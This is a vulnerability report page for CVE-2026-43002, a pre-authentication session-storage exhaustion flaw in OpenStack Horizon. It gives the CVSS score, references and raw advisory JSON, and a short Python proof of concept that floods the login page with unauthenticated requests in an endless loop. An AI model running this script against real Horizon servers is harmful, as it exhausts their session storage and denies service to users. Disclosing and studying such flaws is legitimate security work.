Security Vulnerability Report
中文
CVE-2026-43002 CVSS 5.3 MEDIUM

CVE-2026-43002

Published: 2026-05-05 17:17:05
Last Modified: 2026-05-07 15:53:50

Description

An issue was discovered in OpenStack Horizon 25.6 and 25.7 before 25.7.3. There is a write operation to the session storage backend before authentication and thus storage can be exhausted by unauthenticated requests. This is a regression of the CVE-2014-8124 fix.

CVSS Details

CVSS Score
5.3
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L

Configurations (Affected Products)

No configuration data available.

OpenStack Horizon 25.6
OpenStack Horizon 25.7 < 25.7.3

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests # PoC for CVE-2026-43002: OpenStack Horizon Session Exhaustion # This script sends unauthenticated requests to exhaust session storage. target_url = "http://target-horizon-domain.com/auth/login/" headers = { "User-Agent": "CVE-2026-43002-Test" } def trigger_exhaustion(): """ Sending requests to trigger session write before authentication. """ try: while True: # The session creation/write happens before auth check response = requests.get(target_url, headers=headers) if response.status_code == 200: print(f"Request sent, Session storage written. Cookie: {response.cookies.get_dict()}") else: print(f"Unexpected status code: {response.status_code}") except KeyboardInterrupt: print("Stopping...") if __name__ == "__main__": print("Starting DoS simulation...") trigger_exhaustion()

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-43002", "sourceIdentifier": "[email protected]", "published": "2026-05-05T17:17:04.920", "lastModified": "2026-05-07T15:53:49.717", "vulnStatus": "Awaiting Analysis", "cveTags": [], "descriptions": [{"lang": "en", "value": "An issue was discovered in OpenStack Horizon 25.6 and 25.7 before 25.7.3. There is a write operation to the session storage backend before authentication and thus storage can be exhausted by unauthenticated requests. This is a regression of the CVE-2014-8124 fix."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L", "baseScore": 5.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "LOW"}, "exploitabilityScore": 3.9, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-696"}]}], "references": [{"url": "https://bugs.launchpad.net/horizon/+bug/2150331", "source": "[email protected]"}, {"url": "https://security.openstack.org/ossa/OSSA-2026-009.html", "source": "[email protected]"}, {"url": "https://www.openwall.com/lists/oss-security/2026/05/05/7", "source": "[email protected]"}, {"url": "https://bugs.launchpad.net/horizon/+bug/2150331", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0"}]}}